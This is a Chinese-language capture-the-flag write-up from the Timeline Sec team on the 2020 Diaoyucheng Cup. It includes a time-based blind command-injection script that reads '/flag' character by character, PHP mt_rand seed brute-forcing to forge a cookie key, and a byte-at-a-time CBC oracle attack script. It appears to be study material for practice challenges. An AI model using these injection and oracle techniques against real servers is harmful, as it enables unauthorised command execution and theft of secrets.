钓鱼城杯2020 部分WriteUp

时间:2022-07-24
本文章向大家介绍钓鱼城杯2020 部分WriteUp,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

钓鱼城杯

Web

★easyweb

页面header被设置了Post: cmd,提醒可以执行命令;存在命令执行盲注

poc:cmd=if [ $(echo 1|cut -c1) = '1' ];then sleep 3;fi

猜测flag在/flag,用以下脚本跑出flag:

# encoding:utf-8
import requests
import time
from urllib.parse import quote

url = 'http://119.3.37.185/'

if __name__ == '__main__':
    pos = 1
    flag = ''
    sleep_time = 4
    sess = requests.session()

    cmd = 'cat /f*'
    post_par = "if [ $({}|cut -c{}) = '{}' ];then sleep {};fi"

    while True:
        for i in range(32, 127):
            t1 = time.time()


            # print('test:', chr(i))
            # print(post_par.format(cmd, pos, chr(i), sleep_time))
            # exit()


            try:
                r = sess.post(
                    url=url,
                    data={
                        'cmd': post_par.format(cmd, pos, chr(i), sleep_time)
                    },
                    timeout=7
                )

                # print(r.text)
                # exit()
            except Exception as e:
                print(e)
            t2 = time.time()
            if t2-t1 >= sleep_time:
                pos += 1
                flag += chr(i)
                print("pos:", pos, "; output: [", flag,']')

★easyseed

一、打开题目链接提示 你不是主人,我们想到伪造ip。这里我们使用的是fakeIp插件,伪造ip后得到回显 钥匙不对。

二、此时我们看到cookie中有有lock锁和key钥匙,应该是根据lock得到key。我们开始尝试直接绕过,无果。与此同时我们使用dirsearch扫描到了index.bak。

看到这里基本上就确定是爆破rand的种子了,也就是说我们知道了种子和以上代码就可以得到key。参考链接:

https://mayi077.gitee.io/2020/03/16/PHP%E4%B8%ADmt-rand%E5%87%BD%E6%95%B0%E4%BA%A7%E7%94%9F%E7%9A%84%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0/

三、 我们先需要下载安装 php_mt_seed工具 ,然后为了产生工具要求的参数格式我们使用以下代码:

str1='abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'  ##这里对应源码中的字符串
str2='vEUHaY'
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

因为我们已知的是lock值,所以这里我们需要对应lock的所用参数。

得到结果如下:

21 21 0 51 30 30 0 51 46 46 0 51 33 33 0 51 0 0 0 51 50 50 0 51

四、接着我们使用php_mt_seed工具进行爆破种子使用命令:

./php_mt_seed  21 21 0 51 30 30 0 51 46 46 0 51 33 33 0 51 0 0 0 51 50 50 0 51

得到以下结果:

同时,我们根据response可以知道php版本为5.6.28。那么其对应的种子有2个

718225

4007230629

五、现在我们知道了种子,也知道了产生key和lock的具体方法,以及产生key的php版本。那么我们使用对应版本的php 来运行以下代码得以还原key:

<?php
mt_srand(718225);
function random($length, $chars = '0123456789ABC') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
$lock1 = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo $key;

经过尝试我们发现第一个种子718225 是正确种子,运行结果为:nRtqGR8mtd9ZOPyI

发送后我们得到flag

flag为 flag{6e5b51029a9a9ccd6d6b0f9a1a58c494}

Misc

★签到题

flag{Welcome_to_dycb}

★Whitespace

查看文件并结合题目名称

Google后得知

这是一种由空白字符(space,tab,enter)编程的语言

其他字符均为注释

因此只需要找到相应的代码解释器即可获取到flag

在线解释器:

http://vii5ard.github.io/whitespace/

复制文本内容 左上角点击Run即可得到flag

张三的恶行

附件下载之后,winhex在disk发现flag

Crypto

★confused_flag

nc连上后发现一直回显无序字符串,但每一部分都有只是排列顺序不一样。于是写脚本请求足够多的次数,将回显结果保存下来搜索字符串"flag{"得到flag的正确排序:

import os

i=1
while 1>0:
    os.system('nc 119.3.45.222 9999 >> 1.txt')
    print(str(i))
    i=i+1

★crypto0

跟上次做得 VMCTF 2020 GAME 那题一样,逐字节爆破 flag。

from pwn import *
from base64 import b16decode, b16encode
import re

def xor(a, b):
    assert len(a) == len(b)
    return (''.join([chr(a[i] ^ b[i]) for i in range(len(a))])).encode('l1')

def bytes2hex(b):
    return b16encode(b).lower().decode('l1')

def hex2bytes(h):
    return b16decode(h.upper())

sh = remote('122.112.254.205', 10003)

print('Start Get IV')
sh.recvuntil('> ')
sh.send('1')
sh.recvuntil('Your message (in hex): ')
sh.send('00')
s1 = sh.recvuntil('> ').decode('l1')
re_res = re.search(r'([a-z0-9]+)', s1)
IV = hex2bytes(re_res.group(1)[-32:].encode('l1'))

print('Start Guess flag...')
flag = b''
now_IV = IV
target_IV = IV

for padding_len in range(47, -1, -1):
    sh.sendline('1')
    sh.recvuntil('Your message (in hex): ')
    msg = b'x00' * (padding_len + 16)
    sh.sendline(bytes2hex(msg))
    target_cipher = sh.recvline().decode('l1').strip()
    now_IV = hex2bytes(target_cipher[-32:])
    for i in range(256):
        send_msg = msg + flag + chr(i).encode('l1')
        send_msg = xor(xor(send_msg[:16], target_IV), now_IV) + send_msg[16:]
        sh.sendline('1')
        sh.recvuntil('Your message (in hex): ')
        sh.sendline(bytes2hex(send_msg))
        test_cipher = sh.recvline().decode('l1').strip()
        now_IV = hex2bytes(test_cipher[-32:])
        if test_cipher[:32*4] == target_cipher[:32*4]:
            flag += chr(i).encode('l1')
            print('[%d/%d]' % (len(flag), 48), flag.decode('l1'))
            target_IV = hex2bytes(test_cipher[-32:])
            break

print('Guess finish')
print('flag:', flag.decode('l1'))

我们欢迎每一个对技术充满热情的同学

如果你和我们一样,想做出点成绩

这里给你无限的空间,任你翱翔

进组方式,简历投递邮箱736241063@qq.com

欢迎真正热爱技术的你!

Timeline Sec 团队

安全路上,与你并肩前行